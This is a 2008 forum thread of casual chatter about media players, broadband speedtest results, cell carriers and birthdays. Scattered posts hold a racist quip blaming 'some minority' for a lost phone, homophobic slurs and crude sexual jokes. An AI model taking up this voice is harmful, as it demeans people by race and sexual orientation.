Also, I'm trying to get my roommate for next year to get GTAIV so badly. For some reason he can't comprehend that it will be the greatest game ever made.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 21, 2008, 02:03:23 PM
LOL WOMEN.


Just deal without them, life is better.

rofl

nah sorry to hear about that.  just keep her away, sounds like she's being awfully clingy.  if she really wants to be friends she'd give some space for awhile.

then again i'm not gonna pretend like i know what is going on but yeah that's the vibe i am getting.

/estrogen
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 21, 2008, 10:58:33 PM
i am like a caveman exposed to a cellphone right now

so i was bored, and i hooked up my mp3 player to the 360, loaded up some jet set radio, and booted up the armored core 4 demo.

IM TOTALLY BLOWING STUFF UP AS A ROBOT TO JET SET RADIO

i love this

also, after being forced to download gomplayer to watch the live starcraft games at www.gomtv.net, i realized that i really like the player, and winamp will now go to collecting virtual dust.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 22, 2008, 12:05:33 AM
Lost my phone, must mean some minority somewhere stole it. They must have seen the high quality of Sony Ericson's and thought "ohshi".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 22, 2008, 09:37:47 AM
i am like a caveman exposed to a cellphone right now

so i was bored, and i hooked up my mp3 player to the 360, loaded up some jet set radio, and booted up the armored core 4 demo.

IM TOTALLY BLOWING STUFF UP AS A ROBOT TO JET SET RADIO

i love this

also, after being forced to download gomplayer to watch the live starcraft games at www.gomtv.net, i realized that i really like the player, and winamp will now go to collecting virtual dust.

I've never used gomplayer, got more info? I only use winamp for my music, but it'd be damn hard to give me a reason to switch from winamp to something else. I think my winamp can play more types of files than VLC can at this point. (yay for all those input plugins)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 22, 2008, 01:21:57 PM
so in lubbock a couple of days ago there was a three alarm fire in an apartment complex.  It was pretty nasty and a lot of people were displaced.

Cause of the fire?

SOMEONE BURNT MICROWAVE RAMEN NOODLES.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 22, 2008, 01:39:47 PM
Jesus Christ. How is that possible? Did they set it for like, an hour?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 22, 2008, 03:04:35 PM
SOMEONE BURNT MICROWAVE RAMEN NOODLES.

Shit, son.  Them noodles be dangerous.  Considering how many of them I ate when I was in Florida I guess I'm lucky to be alive. :o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 22, 2008, 05:22:43 PM
I've never used gomplayer, got more info? I only use winamp for my music, but it'd be damn hard to give me a reason to switch from winamp to something else. I think my winamp can play more types of files than VLC can at this point. (yay for all those input plugins)

you know, i think i may go back to winamp for music, but im sticking with gomplayer for video.

i can't really say anything, other than i used the player and i liked it more than winamp.  for music, it works just fine, only theres no way to shrink the player to a small little bar, and there isn't a button to skip tracks (as far as i know of).

but for video it works great, the thing is chock full of codecs, so you shouldn't have a problem playing just about anything you come across.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 22, 2008, 07:00:01 PM
http://www.bouldertherapist.com/html/humor/WordPlays/lexophiles.htm

D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 22, 2008, 07:10:43 PM
http://www.bouldertherapist.com/html/humor/WordPlays/lexophiles.htm

D:

OW OW OW OW

u summabitch

i rofled often
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 22, 2008, 07:43:14 PM
http://www.bouldertherapist.com/html/humor/WordPlays/lexophiles.htm

D:

Did bobbies write this?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 22, 2008, 09:53:22 PM
I doubt it, but if so, he'd be the best at puns ever
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on April 23, 2008, 01:44:09 AM
i lol'd at  lot of them..most of them could make great standalone jokes.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 23, 2008, 03:11:07 AM
you know, i think i may go back to winamp for music, but im sticking with gomplayer for video.

i can't really say anything, other than i used the player and i liked it more than winamp.  for music, it works just fine, only theres no way to shrink the player to a small little bar, and there isn't a button to skip tracks (as far as i know of).

but for video it works great, the thing is chock full of codecs, so you shouldn't have a problem playing just about anything you come across.

Well, I won't download it unless I really need it. As far as "chock full of codecs" is concerned, my winamp supports damn near anything I'll come across, if there's something it won't play, I happen to have VLC, media player classic, itunes, quicktime, divx player,3gp player 2008 (thanks to my brother), real alternative, and foobar2000 installed as well. ffdshow, and x264, flac, divx, mkvtoolnix, alltoavi, sdp downloader (for retrieving files via MMS streams), avipreview, gspot, and asftools for tools and codec stuff.

Yes, my computer is FULL of video and audio players. Most of which NEVER get used. I use winamp almost exclusively for music, and I use media player classic for videos (I never liked how winamp played videos, especially WMVs. WMVs look MUCH worse in winamp). However, thanks to my insanely huge collection, I rarely encounter anything I can't play. The last thing to stump me for a bit was DTS encoded wav files. But I found a foobar2000 and a winamp plugin capable of solving that. The only issue I haven't fixed yet is that when using SDP Downloader, the resulting WMV/WMA (i forget which it is) is unseekable. I've tried a number of ways of fixing it, but none of them worked. Some simply fail, making an unseekable file, and some break the file completely, so if someone has any ideas, let me know.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 23, 2008, 03:58:37 AM
or uninstall everything and keep winamp and gomplayer

but whatever floats your boat.

anyway, i was at a friends place and played some portal...i didn't like it, so i stopped playing after about an hour

and peggle extreme is awesome, i mean, jesus, i played that sucker for a good 3 hours.  its like something you expect to get bored with after 5 minutes, but you can't seem to pull yourself away from the thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 23, 2008, 05:03:33 AM
"A plateau is a high form of flattery."

LULZ
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 23, 2008, 12:26:25 PM
or uninstall everything and keep winamp and gomplayer

I could uninstall everything and leave winamp and media player classic. However, most of the utilities, I've actually found a use for, as well as the codecs. Thing is, most media players only take up a small amount of space. I have something along the lines of 1.45 TB of space to store stuff. A couple megs here and there for meida players makes virtually no difference in there.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 23, 2008, 06:33:55 PM
No one would happen to have a file for howard sterns' 1992 vhs of the "butt bongo fiesta" on here do they?

puhlease D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 23, 2008, 09:20:06 PM
well my parents switched to verizon dsl due to being fed up with the previous internet company.

instead of around 87/89kb/s max download speed, it seems to be capping at 86kb/s

this is dissapointing, but i guess it isn't a big decline.  that and webpages seem to load faster for some reason.

*edit* wtf, it went up past 115kb/s, now its hovering in the low 90's this is weird.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 12:15:14 AM
Wow, your DSL sucks ass. I hope you're not paying more than $20 for that shit.

I get about 300 KB/s max. Not every site will hit that max (but being able to get 2 parallel 150 Kb/s connections is good too), but that's my max, and the base cost is $30. The service offered is 5 Mbit connections, but the infrastructure here plus my shitty modem couldn't handle anything faster than 3.0 Mbits, so that's why I can't get anything faster than 300. Technically, I should get a it faster than that ever but I rarely get more than 312.

I wish I could actually use all 5 mbits :/ Damn 5 db SNR :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 24, 2008, 12:26:37 AM
Wow today was a shitty day. Have had a sore throat all day (still do) and had 3 test which I was COMPLETELY unprepared for. Also Yatzee haets brawl, which makes me like him so much more.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on April 24, 2008, 12:28:00 AM
Speaking of ISPs, I've been able to get up to 2mb/s downloads from comcast from my apartment...which I've never been able to reach with comcast back home.  Maybe it's my location or something.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 24, 2008, 03:52:51 AM
(http://www.speedtest.net/result/263313236.png) (http://www.speedtest.net)

well this is what i got from speedtest.net

also, i don't quite see how i get numbers like that, my download speed isn't that fast.

but it gets the job done

ohh and on the guild forum i go to, one of the guys got FiOS

this is what he got

(http://www.speedtest.net/result/246372553.png)

DUDudurururururuurrurddURUDRURURURURUDDdururuururudur

*edit*

"Verizon also has been shopping a package dubbed "GTE North" that comprises about 3.4 million access lines in former GTE Corp. territories in Indiana, Illinois, Ohio and Michigan."

this means i don't need to move out of my state to get fios in the future, whee. 
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 24, 2008, 04:16:00 AM
I. Want. Fios.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on April 24, 2008, 04:18:08 AM
Wow today was a shitty day. Have had a sore throat all day (still do) and had 3 test which I was COMPLETELY unprepared for. Also Yatzee haets brawl, which makes me like him so much more.

Zero Punctuation is one of the worst things to happen to game reviews. A guy who makes sarcastic and scathing remarks that he doesn't actually even fully feel for real and mostly just does it to get a rise out of people and as a joke. And of course the majority of this generation take his word as gospel.

I watched Juno and decided I should get back in contact with one of the girls I worked with at Borders. Her reaction to hearing from me again seemed to be very positive.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 24, 2008, 05:07:09 AM
Zero Punctuation feels incredibly forced to me.  It just got less funny and relevant as it went on.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on April 24, 2008, 05:20:54 AM
anyone here smoke the occasional cigar?

also, its weird going to the bowling alley and playing DDR (something i havent done in several months) and then people saying OMG UR SO GUD LET ME PAY FOR UR NEXT GAME! When really I came super close to failing even max 300 on standard. v.v what the fuck im not making sense.

fucking damn it. oh well. christ its 2 am. well, a little more. I think im going to go grab a beer from the fridge and do something productive/creative. GOD WHY AM I WASTING YOUR TIME. ALL IM DOING IS VOMITING ALL OVER YOUR MONITOR BUT YOU KEEP READING THIS FUCKING WORTHLESS TEXT. Okay, bye.

Penis EDIT: sorry vlad. only except for kinda not
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 24, 2008, 05:32:22 AM
cigar smoking = enjoyable

can't quite say i get anything from the cigar itself, but i do enjoy smoking them.  well, ive only smoked a grand total of two, but twas nice, and ill probably end up smoking one every few months.

4 cigars a year won't kill me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 24, 2008, 01:13:58 PM
I hate Sprint.

I get very good reception in my apartment with T-Mobile.  My phone has no qualms about hitting up GPRS and doing some data communications.  All in all, life is good for my V3x.

My company BlackBerry, on the other hand, seems to hate my room.  It's very rare that I see CDMA phones with lower reception than GSM phones, but in this case it's a reality.  I was trying to use TeleNav (which also blows...more on that later if I'm in the mood) earlier so that I could get a route to a house that I need to head to today and the network kept completely cutting out!  No voice, no data.  After the service came back (which took at least two minutes) it kept switching between 1X (slow data), 1XEV (fast data), and no signal, leaving me completely unable to do anything for the next minute while it decided what it wanted to do.

It wouldn't bug me so much if it didn't happen so often, and if it were limited to just me.  No, the problem here is that Sprint is a terrible service, and I encourage everyone to stay far, far away from it.  I've had more dropped calls (dropped calls, to me, meaning calls lost in areas with good reception) with modern Sprint phones (when I was on both ends of the conversation, mind you) than I had with T-Mobile, Cellular One, and even bloody freaking TracFone.

Fuck Sprint.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 24, 2008, 01:19:56 PM
well that eliminates them in my quest of having to switch from verizon next month.

Oh yeah about that.  I'll be sure to let you know of mine and Dan's new numbers... my contract is up end of May so... I think we're probably going to go with Alltel just because my entire family's on it, and Dan can get that 5 people thing and put his family on there.

More to come at six.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 24, 2008, 01:42:42 PM
I'm turning 18 on Sunday.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 24, 2008, 01:46:20 PM
well that eliminates them in my quest of having to switch from verizon next month.

Yay, I did something good today. :3

Oh yeah about that.  I'll be sure to let you know of mine and Dan's new numbers... my contract is up end of May so... I think we're probably going to go with Alltel just because my entire family's on it, and Dan can get that 5 people thing and put his family on there.

Super-dee-duper! :D

My old boss from my previous has had Alltel for a few years and he likes them muchly.  I haven't had any experience with them myself, but he seems to be pretty good at judging cell phone companies (and he agreed that Sprint licky hard dicky ^^).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 24, 2008, 02:10:30 PM
I'm turning 18 on Sunday.

Congrats. :D  enjoy it and buy lottery scratchoffs and stuff. 'swhat I did. rofl.

AND VOTE!? Sure but in texas does it really matter rofl


oh and Ian I had alltel before I moved up (back when it was still cellularone) and I never really had any problems with it.  My phone just sucked. XD  Ask Dan, we could talk for about 30 minutes before it died.  AWESOME!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 03:02:49 PM
(http://www.speedtest.net/result/263522443.png) (http://www.speedtest.net)

The ping might have been skewed by my listening to the DnB stream at DI.FM, but I quickly remembered to close it before any other part.

And vlad, those numbers in are kilobits, not kilobytes, like most things measure. (or kibibytes, as the technical term really is).

So 2555 kbits = 319.375 kilobytes/s. 411 kilobits = 51.375 kilobytes/s. That upload is actually a bit lower than I can hit.

your speed vlad, is about 93 kilobytes. Your friend's speed is 1.9 megabytes per second. :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 24, 2008, 03:55:32 PM
wellp, i get by with the internets i have.

when i move out, hopefully ill be able to afford that leet internets so i can download the world.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 24, 2008, 04:00:07 PM
I did it at my job.. this is what I got

(http://www.speedtest.net/result/263549259.png) (http://www.speedtest.net)

I wish my one at home was even half that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 04:13:27 PM
Oh, and by the way, my ISP isn't actually bell, it's a virtual ISP that buys their connection from bell.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 24, 2008, 04:24:01 PM
Drove an hour on the interstate to the other college campus to find out nothing had been turned in there.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 24, 2008, 04:58:11 PM
(http://www.speedtest.net/result/263572462.png)

It should be about 1500/700, but this is what it was at the time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 24, 2008, 05:17:00 PM
Congrats. :D  enjoy it and buy lottery scratchoffs and stuff. 'swhat I did. rofl.

Yeah, a lot of guys in my senior class do that. One of them keeps going about his gross $2 profit off of a $1 ticket. A few of my friends want me to buy gay porn and sex toys, but I'm not going to do that.

Also,
(http://www.speedtest.net/result/263580429.png) (http://www.speedtest.net)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 05:45:49 PM
I hate you.

Also, lawl at jinxie's upload at her work.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 24, 2008, 05:46:52 PM
im confused

(http://www.speedtest.net/result/263589209.png) (http://www.speedtest.net)

holy upload batman
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 06:02:06 PM
Where you running anything like seeding torrents when you ran it the first time? Because any sort of upload and download while that test is going will skew the results.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 24, 2008, 06:19:30 PM
y halo thar:

(http://www.speedtest.net/result/263600679.png)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 24, 2008, 06:23:09 PM
Where you running anything like seeding torrents when you ran it the first time? Because any sort of upload and download while that test is going will skew the results.

nope, although it seems the name of the isp changed from crystal microsystems to verizon internet services. 

maby i was still using the old connection, or something bugged when it was just activated.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 06:48:54 PM
y halo thar:

(http://www.speedtest.net/result/263600679.png)

I've never quite understood how people could get connections that fast without either being on a university connection, or paying an arm and a leg. What are you paying for that connection?

Also, any tips on how to increase my Signal To Noise ratio on my modem? 5 db is just above the point where you'll start running into trouble.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 24, 2008, 07:08:08 PM
I'm not sure what your setup is, but at my cable support job, we had tools to tell us the customers SNR among other things. The way I understand it, it had something to do with the cable lines themselves, and not adjustable in the modem [at least they didn't do that], some cable lines were just crappy, splitters going bad, and the 'box' or junction outside needing upgrading or modifying.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 07:33:20 PM
Ahh, wasn't sure if there was anything I could do, but I was hoping there was. My modem is capable of telling me my SNR, among other info as well, but I never managed to get it to work (you had to connect to it with a telnet connection and such, and I don't have PPPOE installed on my computer, so I couldn't even communicate with it).

But yeah, my SNR being 5 db is kinda bad, since the lowest recommended level was usually 6 db. I don't lose any packets or anything right now, but if the infrastructure around here gets upgraded and my connection does too, I won't be able to take advantage of that, because any faster connection would cause my SNR to drop. Not to mention my line consumption idles at 88% :/ Yeah, my lines are really bad.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on April 24, 2008, 08:41:43 PM
Sup kids. Haven't been on in a few days, been busy with TONS of AP American History homework, work, having a girlfriend, etc. Tomorrow after school I'm going swamping with a few friends in this MASSIVE swamp we've never been in before. We all bought galoshes and I'm bringing my machetes and axe. Should be epic.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 24, 2008, 08:44:47 PM
The 99 cent store around here has machetes and their only a dollar. You can sharpen them down with a hand grinder and have all kinds of fun with them in the forest around here.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 24, 2008, 09:43:35 PM
I've never quite understood how people could get connections that fast without either being on a university connection, or paying an arm and a leg. What are you paying for that connection?

It's a basic cable Internet package.  I'm not sure how much it is exactly because the bill isn't split up (the digital cable TV service and Internet connection is jumped into one $80 blob), but it's probably around $30-40.

Comcast has to compete with FiOS in this area, so they pump the speeds up by lots.  There have been times where I've downloaded at around 2.5MB/s before.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 11:17:33 PM
Damn. How much is FiOS anyway?

It's always bugged me how crappy connectivity is around here. I've got friends who can't get high speed because there just isn't any infrastructure capable of giving them highspeed.

I mean, the fact that my plan is now 5 mbits for $30 instead of 3 is relatively new, I think they just updated the speeds a couple months ago, maybe 6 months ago.

If I want a connection capable of downloading at 2.5 MB/s, I'd have to pay an arm and a leg (and definitely get a new modem, if not get new lines to the house as well).

EDIT: Treading the wiki page on FiOS, I read that the TOS say you can't host a server of any kind (unless you're buying a commercial package, where available). That is absolutely retarded...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 24, 2008, 11:28:22 PM
I dunno.  It's cheaper than what we're paying for this (well, technically, what Nielsen is paying for this...this job has the most amazing perks), we just don't get it at our apartment complex yet.  Tis a shame.

We are definitely switching when it comes available, though.  Comcast is the fastest cable service I've used but from what I've observed (and from what I've read) its fast speeds aren't as consistent as FiOS.  It's always fast, but it doesn't hold 15mbps all the time (though it's always faster than 8-9mbps, so I can't complain).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 24, 2008, 11:33:49 PM
Damn, I really wish we had service around here that was anywhere close to that sort of stuff. I'd get some info about the fastest service available at my ISP, but apparently their site is down temporarily (503 page came up.)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on April 25, 2008, 02:46:59 AM
agonizing. :[

(http://www.speedtest.net/result/263722897.png)

needs more pumperage. i might pay the landlord the difference to get the more expensive shit. like the 9mb/s or whatever the fuck. $10/mo for 7.5 mb/sec more. why the fuck not?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 25, 2008, 02:51:36 AM
(http://www.speedtest.net/result/263724271.png) (http://www.speedtest.net)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 25, 2008, 02:55:05 AM
(http://www.speedtest.net/result/263725054.png) (http://www.speedtest.net)

I win.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on April 25, 2008, 03:02:11 AM
>:[ gtfo ultimate.

reminds me of when i was in school.. the school went to the county office who plugged right into cisco.. Only thing that wasn't fiber optic was from the county to the school. damn, I wish I remembered how fast the actual speed was. Unfortunately, without numbers to prove anything, nobody gives a fuck except for me and the value of the memory it means to me.. ah well. Kinda like telling someone a funny joke that happened between you and your friends.. You tell them and they laugh, but really they just dont give a shit because they werent there and see no reason to really care. hahaha. aw well. time to stfu now.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 25, 2008, 04:02:16 AM
http://en.wikipedia.org/wiki/Kinsey_scale
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 25, 2008, 04:06:24 AM
(http://www.speedtest.net/result/263725054.png) (http://www.speedtest.net)

I win.

That's a university connection.  See, I get all of that 15mbps.  You have to share your 20mbps with everyone else in campus (or at least your building). :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 25, 2008, 07:58:46 AM
So Firefox 3 (http://www.mozilla.com/en-US/firefox/all-beta.html) (beta 5) is pretty damn fine.  Performance has improved by about a bazillion percent and the zoom feature actually zooms everything, ala Opera and IE7.  Finally.  Now I can sit back and read sites without horribly breaking their layout (not to mention being stuck with a static 640 pixel wide block of text on a 1920 pixel wide screen...grr).  Not to mention that it also applies those zoom settings to every page on a given domain.  No more opening 10 tabs and having to manually zoom each one of them when I want to sit back and read.

Oh, and if anyone cares about hardly-practical rendering tests, it passes Acid2 now.  Not sure which release passed it first, but it does it now.

So yeah, this thing is going to be totally rad and stuff.

It's still a memory hog, haha.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 25, 2008, 08:34:02 AM
http://en.wikipedia.org/wiki/Kinsey_scale

old, there was a thread on a0 about this

I'm X btw
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 25, 2008, 02:39:32 PM
(http://www.speedtest.net/result/211866670.png) (http://www.speedtest.net)

Not bad for 2 PCs and the fact that only one plays gaems.

old, there was a thread on a0 about this

I'm X btw

You can read minds?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on April 25, 2008, 03:30:37 PM
(http://www.speedtest.net/result/263948755.png) (http://www.speedtest.net)

I win.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 25, 2008, 05:20:13 PM
(http://www.speedtest.net/result/263983167.png) (http://www.speedtest.net)

noe >:(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 25, 2008, 05:24:11 PM
Ping?... ... ... ... ... ... ... ...


pong!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 25, 2008, 06:26:26 PM
ive created a monster with this speedtest thing...

old, there was a thread on a0 about this

I'm X btw

how the hell can someone be X, unless you have no sex drive at all.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 25, 2008, 07:04:46 PM
ive created a monster with this speedtest thing...

how the hell can someone be X, unless you have no sex drive at all.

I think you have to reproduce A sexually to do that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 25, 2008, 07:07:41 PM
I think you have to reproduce A sexually to do that.

http://en.wikipedia.org/wiki/Asexual
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 26, 2008, 02:15:12 AM
O i c. Well fuck you english language.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 26, 2008, 02:33:23 AM
Fuck sobriety.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on April 26, 2008, 04:08:15 AM
(http://www.speedtest.net/result/264131758.png) (http://www.speedtest.net)

This is off a router, I could probably get a little faster if I was connected directly to the modem.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 26, 2008, 11:44:27 AM
When The Grid comes around, nobody will be able to argue about their e-speedtestpeen :D

http://www.foxnews.com/story/0,2933,347212,00.html (http://www.foxnews.com/story/0,2933,347212,00.html)

You fgts with high numbers probably not only have good internet, but also fairly nearby ISPs or more recently replaced hardware that your internet cables are running through to get to your house <:U

7 megabits per second >:V
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 26, 2008, 01:37:40 PM
My network goes at 23 gigabiscuits per second! :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 26, 2008, 02:17:00 PM
When The Grid comes around, nobody will be able to argue about their e-speedtestpeen :D

Yeah, but how long before there's widespread use of The Grid? ARPA created the IPTO (http://en.wikipedia.org/wiki/Information_Processing_Technology_Office) to further the research of the SAGE (http://en.wikipedia.org/wiki/Semi_Automatic_Ground_Environment) program in 1958. That networked the US ground radar system together.

The first TCP/IP WAN was created January 1st 1983. That's 25 years between them, and it wasn't till probably th mid 90's before we had real widespread use of the net.

How long before The Grid becomes the most common connection? And Need I remind you how much of a patchwork miracle the current internet is? Quite a few people are saying that it's a miracle the internet even works, considering how patched together it is.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on April 26, 2008, 02:41:30 PM
Yeah, that's kind of what i was getting at.  The internet is a piece of shit ran through age-old telephone hardware.  The Grid will use its own cable system.  It may be a while before it's really widespread, and it's probably going to hit places like research centers and universities before anywhere else, but when 20X3 comes around and the Grid completely replaces the internet... yeah.  Having a high net speed won't be e-peen worthy anymore :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on April 26, 2008, 02:47:57 PM
When The Grid comes around, nobody will be able to argue about their e-speedtestpeen :D

http://www.foxnews.com/story/0,2933,347212,00.html (http://www.foxnews.com/story/0,2933,347212,00.html)

You fgts with high numbers probably not only have good internet, but also fairly nearby ISPs or more recently replaced hardware that your internet cables are running through to get to your house <:U

7 megabits per second >:V

The US governemt is probably creaming at the potential 'OH, we must have oversight over this grid before it is available...to prevent...piracy...yea...piracy'

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 26, 2008, 04:06:17 PM
Also, I should point out that The Grid is not even as fast as the fastest Core Routers in the internet. The Grid is supposed to give you speeds of 1 gigabyte per second. That would equal 8 gigabits per second. Most current core routers run on 10 gigabit per second connection, and some of them run on 40 gigabit per second connections. The number they're always using of "10,000 times faster than the current internet infrastructure" is misinformation. It's 10,000 times faster than a 1 megabit per second connection, which is about the lowest normal speed of broadband connections, but as I said before, most core routers in the internet have connections as fast as or faster than The Grid.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 26, 2008, 04:20:29 PM
"Online gaming could evolve to include many thousands of people"

they haven't played online games it seems
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 26, 2008, 04:26:32 PM
Haha, yeah, I read that and thought of WoW.

But they're probably talking about virtual reality games. VR games over a network are pretty much impossible right now, I think. Maybe over a small network like a LAN, since we can get much faster speeds than the internet (100 mbit connections over ethernet, and that's standard in every computer now), but any widespread VR game with thousands of players would require a pretty huge amount of bandwidth, both for the players, and for the server.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 26, 2008, 04:31:30 PM
man screw vr, give me a mouse, keyboard, headset, and im fine.

if i want to "interact" with people, ill do it in person.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 26, 2008, 04:34:14 PM
Yeah, but that article, and I am both referring to the future of games, when The Grid may actually be active. By that time, we may actually have VR games available to the general public.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 26, 2008, 04:35:23 PM
well yea, still, give me some of that grid action now. 

i have the internet to download and such a short time to do it in!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 26, 2008, 04:49:12 PM
Lol, well, good luck with that. Better start buying your 16TB+ servers soon, otherwise once the grid comes out you'll run out of space.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 27, 2008, 05:32:13 AM
thinking about going metro

any tips?  vlad wants to look pretty.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 27, 2008, 06:37:18 AM
you kind of already look pretty, what with that hair of yours

damn, I wish I could look like a metalhead too :O
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on April 27, 2008, 01:35:39 PM
I'm 18 now. Woohoo.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 27, 2008, 01:52:00 PM
hppy bday 2 u

I'm turning 16 in 6 days.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 27, 2008, 02:04:51 PM
I'm 18 now. Woohoo.

hapi burfday 2 u
hapi burfday 2 u
u luk liek a weavile
and u scratch liek 1 2 D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 27, 2008, 02:23:04 PM
I'm 18 now. Woohoo.

Woo, you can become a porn star, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 28, 2008, 03:56:33 AM
Woo, you can become a porn star, lol.

we are both of age, lets make a gay bondage film.

it will make millions!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 28, 2008, 04:54:58 AM
I will film it. 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 28, 2008, 05:59:15 AM
thanx babe
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 28, 2008, 01:12:44 PM
The hell, zerg, and you got that image as your avatar? lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 28, 2008, 01:46:30 PM
happy berfdae :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 28, 2008, 03:46:40 PM
So I heard you were born 18 years ago?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 28, 2008, 04:14:09 PM
The hell, zerg, and you got that image as your avatar? lol.

ZERG RUSH KEKEKEKEKEKEKEKE ^^
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 28, 2008, 06:26:15 PM
The hell, zerg, and you got that image as your avatar? lol.

umm yep

that little faggot in my avatar turned me bi, hence the kinsey scale link a few pages back    RRRAAGGGGEEEEeEEee

but uhh think of it as me doing something slightly different.  not to mention hydralisks are awesome, and you should love them.

